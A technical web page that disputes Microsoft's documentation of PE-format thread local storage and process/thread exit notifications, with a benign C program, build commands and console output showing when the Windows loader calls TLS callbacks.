Statically declared TLS data objects can be used only in statically loaded image files. This fact makes it unreliable to use static TLS data in a DLL unless you know that the DLL, or anything statically linked with it, will never be loaded dynamically with the LoadLibrary API function.

Executable code accesses a static TLS data object through the following steps:

  1. At link time, the linker sets the Address of Index field of the TLS directory. This field points to a location where the program expects to receive the TLS index.

    The Microsoft run-time library facilitates this process by defining a memory image of the TLS directory and giving it the special name "__tls_used" (Intel x86 platforms) or "_tls_used" (other platforms). The linker looks for this memory image and uses the data there to create the TLS directory. Other compilers that support TLS and work with the Microsoft linker must use this same technique.

  2. When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the FS register. A pointer to the TLS array is at the offset of 0x2C from the beginning of TEB. This behavior is Intel x86-specific.

  3. The loader assigns the value of the TLS index to the place that was indicated by the Address of Index field.

  4. The executable code retrieves the TLS index and also the location of the TLS array.

  5. The code uses the TLS index and the TLS array location (multiplying the index by 4 and using it as an offset to the array) to get the address of the TLS data area for the given program and module. Each thread has its own TLS data area, but this is transparent to the program, which does not need to know how data is allocated for individual threads.

  6. An individual TLS data object is accessed as some fixed offset into the TLS data area.

Ouch: even the very first (highlighted) statement of this documentation is misleading and wrong – support for TLS is enabled with the IMAGE_TLS_DIRECTORY structure which provides the addresses of the initialisation data, the index and the callback function pointer list, and is addressed in the tenth entry of the IMAGE_DATA_DIRECTORY array in the IMAGE_OPTIONAL_HEADER structure!

Note: the .tls section is required only when TLS data is initialised – it is not needed when data is just declared.

Ouch: the initial note is but obsolete and wrongWindows Vista and later versions of Windows NT support static TLS data in dynamically loaded DLLs!

Note: the multiplier 4 is of course only correct for 32-bit platforms – 64-bit platforms require the multiplier 8.

The documentation misses the following part for the x64 alias AMD64 processor architecture (and corresponding parts for other processor architectures as well):

  1. When a thread is created, the loader communicates the address of the thread's TLS array by placing the address of the thread environment block (TEB) in the GS register. A pointer to the TLS array is at the offset of 0x58 from the beginning of the TEB. This behavior is Intel x64-specific.

Note: on the i386 alias x86 platform, the Visual C compiler references (the absolute address of) the external symbol __tls_array despite the fixed value of this offset.

The specification of the PE Format continues:

The TLS directory has the following format:

Offset (PE32/PE32+) Size (PE32/PE32+) Field Description
0 4/8 Raw Data Start VA The starting address of the TLS template. The template is a block of data that is used to initialize TLS data. The system copies all of this data each time a thread is created, so it must not be corrupted. Note that this address is not an RVA; it is an address for which there should be a base relocation in the .reloc section.
4/8 4/8 Raw Data End VA The address of the last byte of the TLS, except for the zero fill. As with the Raw Data Start VA field, this is a VA, not an RVA.
8/16 4/8 Address of Index The location to receive the TLS index, which the loader assigns. This location is in an ordinary data section, so it can be given a symbolic name that is accessible to the program.
12/24 4/8 Address of Callbacks The pointer to an array of TLS callback functions. The array is null-terminated, so if no callback function is supported, this field points to 4 bytes set to zero. For information about the prototype for these functions, see TLS Callback Functions.
16/32 4 Size of Zero Fill The size in bytes of the template, beyond the initialized data delimited by the Raw Data Start VA and Raw Data End VA fields. The total template size should be the same as the total size of TLS data in the image file. The zero fill is the amount of data that comes after the initialized nonzero data.
20/36 4 Characteristics The four bits [23:20] describe alignment info. Possible values are those defined as IMAGE_SCN_ALIGN_*, which are also used to describe alignment of section in object files. The other 28 bits are reserved for future use.
OOPS: the Raw Data End VA field contains the address of the first byte after the TLS template!

OUCH: the Size of Zero Fill field is not supported at all!

Note: if the size of the initialised data for the .tls section in the image file is less than the section size, the module loader fills the additional uninitialised data with zeroes, i.e. the Size of Zero Fill field is superfluous.

Caveat: the documentation lacks the information that the Visual C compiler puts all data for the TLS template in COFF sections .tls$‹suffix› – which it declares but writable instead of read-only, i.e. it fails to protect the template data against corruption, an easily avoidable safety hazard!

The specification of the PE Format continues:

The program can provide one or more TLS callback functions […]

The prototype for a callback function (pointed to by a pointer of type PIMAGE_TLS_CALLBACK) has the same parameters as a DLL entry-point function:

typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
    PVOID DllHandle,
    DWORD Reason,
    PVOID Reserved
    );

The Reserved parameter should be set to zero. The Reason parameter can take the following values:

Setting Value Description
DLL_PROCESS_ATTACH 1 A new process has started, including the first thread.
DLL_THREAD_ATTACH 2 A new thread has been created. This notification sent for all but the first thread.
DLL_THREAD_DETACH 3 A thread is about to be terminated. This notification sent for all but the first thread.
DLL_PROCESS_DETACH 0 A process is about to terminate, including the original thread.

Fix

Use the /SECTION:.tls,r linker option to set the .tls section read-only.

Blunder № 73

The documentation for the Win32 function ExitThread() states:
Ends the calling thread.

[…]

When this function is called (either explicitly or by returning from a thread procedure), […] The entry-point function of all attached dynamic-link libraries (DLLs) is invoked with a value indicating that the thread is detaching from the DLL.

[…]

Use the GetExitCodeThread function to retrieve a thread's exit code.

OUCH¹: contrary to the highlighted statement of this documentation, the entry-point function of any DLL is only called unless disabled with a prior call of DisableThreadLibraryCalls() for the respective DLL!

The documentation for the Win32 function ExitProcess() states:

Ends the calling process and all its threads.

[…]

Use the GetExitCodeProcess function to retrieve the process's exit value. Use the GetExitCodeThread function to retrieve a thread's exit value.

Exiting a process causes the following:

  1. All of the threads in the process, except the calling thread, terminate their execution without receiving a DLL_THREAD_DETACH notification.
  2. The states of all of the threads terminated in step 1 become signaled.
  3. The entry-point functions of all loaded dynamic-link libraries (DLLs) are called with DLL_PROCESS_DETACH.
  4. After all attached DLLs have executed any process termination code, the ExitProcess function terminates the current process, including the calling thread.
  5. The state of the calling thread becomes signaled.
  6. All of the object handles opened by the process are closed.
  7. The termination status of the process changes from STILL_ACTIVE to the exit value of the process.
  8. The state of the process object becomes signaled, satisfying any threads that had been waiting for the process to terminate.
OUCH²: both documentations cited above but fail to tell that the TLS Callback Functions of all loaded DLLs as well as those of the program itself are called with DLL_THREAD_DETACH and DLL_PROCESS_DETACH!

The documentation for the Win32 function GetExitCodeProcess() states:

Retrieves the termination status of the specified process.

[…] If the process has not terminated and the function succeeds, the status returned is STILL_ACTIVE (a macro for STATUS_PENDING). If the process has terminated and the function succeeds, the status returned is one of the following values:

OUCH³: the (default) entry points of Win32 applications are mainCRTStartup, wmainCRTStartup, WinMainCRTStartup and wWinMainCRTStartupmain and WinMain are superfluous artifacts called from the MSVCRT libraries!

The documentation for the Win32 function GetExitCodeThread() states:

Retrieves the termination status of the specified thread.

[…] If the specified thread has not terminated and the function succeeds, the status returned is STILL_ACTIVE. If the thread has terminated and the function succeeds, the status returned is one of the following values:

Demonstration

Perform the following 4 simple steps to show the true behaviour.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szReason[4] = {L"process detach",
    		               L"process attach",
    		               L"thread attach",
    		               L"thread detach"};
    __declspec(safebuffers)
    VOID	WINAPI	TLSCallback(HMODULE hModule, DWORD dwReason, LPVOID lpUnused)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule = GetModuleFileName(hModule,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    	HMODULE	hCaller;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	DWORD	dwProcess;
    	DWORD	dwThread;
    	DWORD	dwThreadId = GetCurrentThreadId();
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		return;
    
    	if (dwModule < sizeof(szModule) / sizeof(*szModule))
    		szModule[dwModule] = L'\0';
    
    	if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    	                      _ReturnAddress(),
    	                      &hCaller))
    	{
    		dwCaller = GetModuleFileName(hCaller,
    		                             szCaller,
    		                             sizeof(szCaller) / sizeof(*szCaller));
    
    		if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    			szCaller[dwCaller] = L'\0';
    	}
    	else
    		szCaller[0] = L'\0';
    
    	GetExitCodeThread(GetCurrentThread(), &dwThread);
    	GetExitCodeProcess(GetCurrentProcess(), &dwProcess);
    
    	PrintConsole(hError,
    	             L"\n"
    	             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    	             L"\tCalled module  @ 0x%p = %ls\n"
    	             L"\tCalling module @ 0x%p = %ls\n"
    	             L"\tReturn address @ 0x%p = 0x%p\n"
    	             L"\tArguments:\n"
    	             L"\t\tModule = 0x%p\n"
    	             L"\t\tReason = %lu (%ls)\n"
    	             L"\t\tUnused = 0x%p\n"
    	             L"\tThread id = %lu\n"
    	             L"\tThread exit code = %ld\n"
    	             L"\tProcess exit code = %ld\n",
    	             TLSCallback,
    	             hModule, szModule,
    	             hCaller, szCaller,
    	             _AddressOfReturnAddress(), _ReturnAddress(),
    	             hModule, dwReason, szReason[dwReason], lpUnused,
    	             dwThreadId,
    	             dwThread,
    	             dwProcess);
    }
    
    DWORD	_tls_index = 'VOID';	// NOTE: assigned by the module loader!
    
    const	PIMAGE_TLS_CALLBACK	_tls_callbacks[] = {TLSCallback, NULL};
    
    // BUG: the module loader discards the 'SizeOfZeroFill' member!
    
    const	IMAGE_TLS_DIRECTORY	_tls_used = {NULL,
    				             NULL,
    				             &_tls_index,
    				             _tls_callbacks,
    				             'VOID',
    				             IMAGE_SCN_ALIGN_16BYTES};
    
    extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    __declspec(safebuffers)
    DWORD	WINAPI	ThreadProc(LPVOID lpParameter)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	HMODULE	hCaller;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError != INVALID_HANDLE_VALUE)
    	{
    		dwModule = GetModuleFileName((HMODULE) &__ImageBase,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    
    		if (dwModule < sizeof(szModule) / sizeof(*szModule))
    			szModule[dwModule] = L'\0';
    
    		if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    		                      _ReturnAddress(),
    		                      &hCaller))
    		{
    			dwCaller = GetModuleFileName(hCaller,
    			                             szCaller,
    			                             sizeof(szCaller) / sizeof(*szCaller));
    
    			if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    				szCaller[dwCaller] = L'\0';
    		}
    		else
    			szCaller[0] = L'\0';
    
    		PrintConsole(hError,
    		             L"\n"
    		             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    		             L"\tCalled module  @ 0x%p = %ls\n"
    		             L"\tCalling module @ 0x%p = %ls\n"
    		             L"\tReturn address @ 0x%p = 0x%p\n"
    		             L"\tParameter = 0x%p\n"
    		             L"\tThread id = %lu\n",
    		             ThreadProc,
    		             &__ImageBase, szModule,
    		             hCaller, szCaller,
    		             _AddressOfReturnAddress(), _ReturnAddress(),
    		             lpParameter,
    		             GetCurrentThreadId());
    	}
    
    	if (lpParameter == NULL)
    		return 'NULL';
    
    	ExitProcess(WaitForSingleObject(GetCurrentThread(), 123));
    }
    
    #ifdef _DLL
    __declspec(safebuffers)
    BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpContext)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule = GetModuleFileName(hModule,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    	HMODULE	hCaller;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	DWORD	dwThreadId = GetCurrentThreadId();
    	HANDLE	hThread;
    	HANDLE	hConsole = GetConsoleWindow();
    
    	if (hConsole == NULL)
    		return FALSE;
    
    	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		return FALSE;
    
    	if (dwModule < sizeof(szModule) / sizeof(*szModule))
    		szModule[dwModule] = L'\0';
    
    	if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    	                      _ReturnAddress(),
    	                      &hCaller))
    	{
    		dwCaller = GetModuleFileName(hCaller,
    		                             szCaller,
    		                             sizeof(szCaller) / sizeof(*szCaller));
    
    		if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    			szCaller[dwCaller] = L'\0';
    	}
    	else
    		szCaller[0] = L'\0';
    
    	PrintConsole(hConsole,
    	             L"\n"
    	             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    	             L"\tCalled module  @ 0x%p = %ls\n"
    	             L"\tCalling module @ 0x%p = %ls\n"
    	             L"\tReturn address @ 0x%p = 0x%p\n"
    	             L"\tArguments:\n"
    	             L"\t\tModule = 0x%p\n"
    	             L"\t\tReason = %lu (%ls)\n"
    	             L"\t\tContext = 0x%p\n"
    	             L"\tThread id = %lu\n"
    	             L"\tTLS index = %ld\n"
    	             L"\tTLS value = 0x%p\n"
    	             L"\tTLS array @ 0x%p\n"
    	             L"\tTLS block @ 0x%p\n",
    	             _DllMainCRTStartup,
    	             hModule, szModule,
    	             hCaller, szCaller,
    	             _AddressOfReturnAddress(), _ReturnAddress(),
    	             hModule, dwReason, szReason[dwReason], lpContext,
    	             dwThreadId,
    	             _tls_index,
    	             TlsGetValue(_tls_index),
    #ifdef _M_IX86
    	             __readfsdword(44),
    	             ((LPVOID *) __readfsdword(44))[_tls_index]);
    #elif _M_AMD64
    	             __readgsqword(88),
    	             ((LPVOID *) __readgsqword(88))[_tls_index]);
    #else
    #error Only I386 and AMD64 supported!
    #endif
    	if (dwReason != DLL_PROCESS_ATTACH)
    		return FALSE;
    
    	hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
    	                       (SIZE_T) 65536,
    	                       ThreadProc,
    	                       NULL,
    	                       0UL,
    	                       &dwThreadId);
    	if (hThread == NULL)
    		PrintConsole(hConsole,
    		             L"CreateThread() returned error %lu\n",
    		             GetLastError());
    	else
    	{
    		PrintConsole(hConsole,
    		             L"\n"
    		             L"Thread %lu created and started\n",
    		             dwThreadId);
    
    		if (!CloseHandle(hThread))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	return TRUE;
    }
    
    __declspec(dllexport)
    const	WCHAR	Blunder[] = L"Blunder";
    #else // _DLL
    __declspec(dllimport)
    extern	WCHAR	Blunder[];
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	DWORD	dwError = ERROR_SUCCESS;
    	HMODULE	hCaller;
    	WCHAR	szCaller[MAX_PATH];
    	DWORD	dwCaller;
    	DWORD	dwThreadId = GetCurrentThreadId();
    	DWORD	dwThread;
    	HANDLE	hThread;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		dwModule = GetModuleFileName((HMODULE) NULL,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    
    		if (dwModule < sizeof(szModule) / sizeof(*szModule))
    			szModule[dwModule] = L'\0';
    
    		if (GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
    		                      _ReturnAddress(),
    		                      &hCaller))
    		{
    			dwCaller = GetModuleFileName(hCaller,
    			                             szCaller,
    			                             sizeof(szCaller) / sizeof(*szCaller));
    
    			if (dwCaller < sizeof(szCaller) / sizeof(*szCaller))
    				szCaller[dwCaller] = L'\0';
    		}
    		else
    			szCaller[0] = L'\0';
    
    		PrintConsole(hError,
    		             L"\n"
    		             __LPREFIX(__FUNCTION__) L"() function @ 0x%p\n"
    		             L"\tCalled module  @ 0x%p = %ls\n"
    		             L"\tCalling module @ 0x%p = %ls\n"
    		             L"\tReturn address @ 0x%p = 0x%p\n"
    		             L"\n"
    		             L"\tThread id = %lu\n"
    		             L"\tTLS index = %ld\n"
    		             L"\tTLS value = 0x%p\n"
    		             L"\tTLS array @ 0x%p\n"
    		             L"\tTLS block @ 0x%p\n",
    		             wmainCRTStartup,
    		             &__ImageBase, szModule,
    		             hCaller, szCaller,
    		             _AddressOfReturnAddress(), _ReturnAddress(),
    		             dwThreadId,
    		             _tls_index,
    		             TlsGetValue(_tls_index),
    #ifdef _M_IX86
    		             __readfsdword(44),
    		             ((LPVOID *) __readfsdword(44))[_tls_index]);
    #elif _M_AMD64
    		             __readgsqword(88),
    		             ((LPVOID *) __readgsqword(88))[_tls_index]);
    #else
    #error Only I386 and AMD64 supported!
    #endif
    		hThread = CreateThread((LPSECURITY_ATTRIBUTES) NULL,
    		                       (SIZE_T) 65536,
    		                       ThreadProc,
    		                       Blunder,
    		                       0UL,
    		                       &dwThreadId);
    		if (hThread == NULL)
    			PrintConsole(hError,
    			             L"CreateThread() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hError,
    			             L"\n"
    			             L"Thread %lu created and started\n",
    			             dwThreadId);
    
    			if (WaitForSingleObject(hThread, INFINITE) == WAIT_FAILED)
    				PrintConsole(hError,
    				             L"WaitForSingleObject() returned error %lu\n",
    				             dwError = GetLastError());
    
    			if (!GetExitCodeThread(hThread, &dwThread))
    				PrintConsole(hError,
    				             L"GetExitCodeThread() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    				PrintConsole(hError,
    				             L"\n"
    				             L"Thread %lu exited with code %lu\n",
    				             dwThreadId, dwThread);
    
    			if (!CloseHandle(hThread))
    				PrintConsole(hError,
    				             L"CloseHandle() returned error %lu\n",
    				             GetLastError());
    		}
    
    		if (WaitForSingleObject(GetCurrentThread(), INFINITE) == WAIT_FAILED)
    			PrintConsole(hError,
    			             L"WaitForSingleObject() returned error %lu\n",
    			             dwError = GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
    #endif // _DLL
  2. Compile and link the source file blunder.c created in step 1. a first time to build the DLL blunder.dll and its import library blunder.lib:

    SET CL=/W4 /Zl
    SET LINK=/NODEFAULTLIB
    CL.EXE /LD /MD blunder.c kernel32.lib user32.lib
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: blunder.dll is a pure Win32 DLL and builds without the MSVCRT libraries.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(103) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    blunder.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    blunder.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *'
    blunder.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /NODEFAULTLIB
    /out:blunder.dll
    /dll
    /implib:blunder.lib
    blunder.obj
    kernel32.lib
    user32.lib
       Creating library blunder.lib and object blunder.exp
  3. Compile the source file blunder.c created in step 1. a second time and link it with the import library blunder.lib generated in step 2. to build the console application blunder.exe:

    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c blunder.lib kernel32.lib user32.lib
    Note: blunder.exe is a pure Win32 console application and builds without the MSVCRT libraries.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(103) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    blunder.c(104) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'void *'
    blunder.c(105) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'DWORD *'
    blunder.c(106) : warning C4047: 'initializing' : 'DWORD' differs in levels of indirection from 'const PIMAGE_TLS_CALLBACK *'
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    blunder.lib
    kernel32.lib
    user32.lib
  4. Execute the console application blunder.exe built in step 3. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0047F968 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 1 (process attach)
    		Unused = 0x00000000
    	Thread id = 3700
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0047F9A4 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 1 (process attach)
    		Context = 0x0047FCA8
    	Thread id = 3700
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x007E4CA0
    	TLS block @ 0x007FB5A0
    
    Thread 7816 created and started
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0047F968 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 1 (process attach)
    		Unused = 0x00000000
    	Thread id = 3700
    	Thread exit code = 259
    	Process exit code = 259
    
    wmainCRTStartup() function @ 0x0023122A
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe
    	Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll
    	Return address @ 0x0047FF10 = 0x7721343D
    
    	Thread id = 3700
    	TLS index = 0
    	TLS value = 0x00000000
    	TLS array @ 0x007E4CA0
    	TLS block @ 0x007E4CD0
    
    Thread 13192 created and started
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217F898 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217F8D4 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Context = 0x00000000
    	Thread id = 7816
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x00802840
    	TLS block @ 0x00802870
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217F898 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F664 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F6A0 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 2 (thread attach)
    		Context = 0x00000000
    	Thread id = 13192
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x008028A8
    	TLS block @ 0x008028E8
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F664 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 2 (thread attach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 259
    
    ThreadProc() function @ 0x74651148
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll
    	Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll
    	Return address @ 0x0217FC68 = 0x7721343D
    	Parameter = 0x00000000
    	Thread id = 7816
    
    ThreadProc() function @ 0x00231148
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe
    	Calling module @ 0x77200000 = C:\Windows\syswow64\kernel32.dll
    	Return address @ 0x0233FA34 = 0x7721343D
    	Parameter = 0x746530F8
    	Thread id = 13192
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217FB58 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 3 (thread detach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217FB94 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 3 (thread detach)
    		Context = 0x00000000
    	Thread id = 7816
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x00802840
    	TLS block @ 0x00802870
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0217FB58 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 3 (thread detach)
    		Unused = 0x00000000
    	Thread id = 7816
    	Thread exit code = 259
    	Process exit code = 259
    
    TLSCallback() function @ 0x7465104E
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F4E8 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 0 (process detach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 258
    
    _DllMainCRTStartup() function @ 0x7465122A
    	Called module  @ 0x74650000 = C:\Users\Stefan\Desktop\blunder.dll
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F524 = 0x778D9280
    	Arguments:
    		Module = 0x74650000
    		Reason = 0 (process detach)
    		Context = 0x00000001
    	Thread id = 13192
    	TLS index = 1
    	TLS value = 0x00000000
    	TLS array @ 0x008028A8
    	TLS block @ 0x008028E8
    
    TLSCallback() function @ 0x0023104E
    	Called module  @ 0x00230000 = C:\Users\Stefan\Desktop\blunder.exe
    	Calling module @ 0x778A0000 = C:\Windows\SysWOW64\ntdll.dll
    	Return address @ 0x0233F4E8 = 0x778D9280
    	Arguments:
    		Module = 0x00230000
    		Reason = 0 (process detach)
    		Unused = 0x00000000
    	Thread id = 13192
    	Thread exit code = 259
    	Process exit code = 258
    
    0x102 (WIN32: 258 WAIT_TIMEOUT) -- 258 (258)
    Error message text: The wait operation timed out.
    CertUtil: -error command completed successfully.
    Note: the module loader calls the TLS Callback Function TLSCallback() before the entry-point functions of the DLL blunder.dll and the console application blunder.exe, and finally also after the latter called ExitProcess()!

    OOPS¹: although both StartAddressOfRawData and EndAddressOfRawData members of the _tls_used structure are NULL, i.e. TLS template data is absent, the module loader allocates a TLS block per thread!

    OOPS²: contrary to the documentation cited above, the module loader discards the SizeOfZeroFill member of the _tls_used structure!

    OOPS³: contrary to the documentation cited above, the exit code (here: Win32 error code 258 alias WAIT_TIMEOUT) of the not yet terminated process is already set!

